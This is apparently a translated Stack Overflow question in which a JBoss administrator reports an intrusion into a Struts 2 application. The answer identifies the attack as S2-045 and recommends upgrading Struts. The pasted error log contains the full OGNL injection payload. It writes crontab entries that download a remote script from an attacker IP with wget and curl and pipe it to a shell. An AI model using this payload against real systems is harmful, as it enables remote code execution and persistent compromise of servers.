java - JBOSS Struts 2 应用程序入侵

标签 java security jakarta-ee jboss struts2

我们有一个 J2EE Struts 2 应用程序。

最近我们看到一些入侵正在侵入我们在端口 80 上运行的应用程序。Jboss(版本 4.2.0)错误日志给出了以下内容:

the request doesn't contain a multipart/form-data or multipart/form-data stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "15 * * * * wget -O - -q http://91.230.47.41/res/logo.jpg|sh\n50 * * * * curl http://91.230.47.41/res/logo.jpg|sh" | crontab -').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

他们正在将一些 .exe 文件注入(inject) Jboss bin 文件夹中,并尝试中断应用程序和服务器。那里已经安装了一些防病毒软件。但这并没有停止。考虑如何阻止他们使用应用程序。

任何好主意都会有帮助。

最佳答案

您已通过 S2-045 受到攻击严重的安全问题。

解决您的问题的最简单方法是立即升级到 2.3.322.5.10.1
(前者几乎需要零重构,后者需要快速迁移,如 Struts 2.3 to 2.5 Migration Guide 中所述。

始终保持最新状态。

关于java - JBOSS Struts 2 应用程序入侵,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/43653568/

相关文章:

java - 从命令行读取java中的属性

javascript - 使用浏览器检测不同的机器

html - 为什么我应该在评论表单中使用 BBCode 而不是 HTML?

java - 不明白调用方法时模拟类是如何工作的

java - 为什么我应该将 repo 级别对象与 Controller /服务级别对象混合?

java - 如何捕获无效的 Elasticsearch 查询?

java - 如何在 arraylist 中使用先前定义的类

c - 如何在 Linux 中创建具有特定安全权限的文件? (即相当于 Win32 CreateFile+SECURITY_ATTRIBUTES)

java - 如何使用字节数组作为参数构建 FileInputStream 对象

spring-mvc - 提交 Spring 表单时上下文根没有出现 - url 模式问题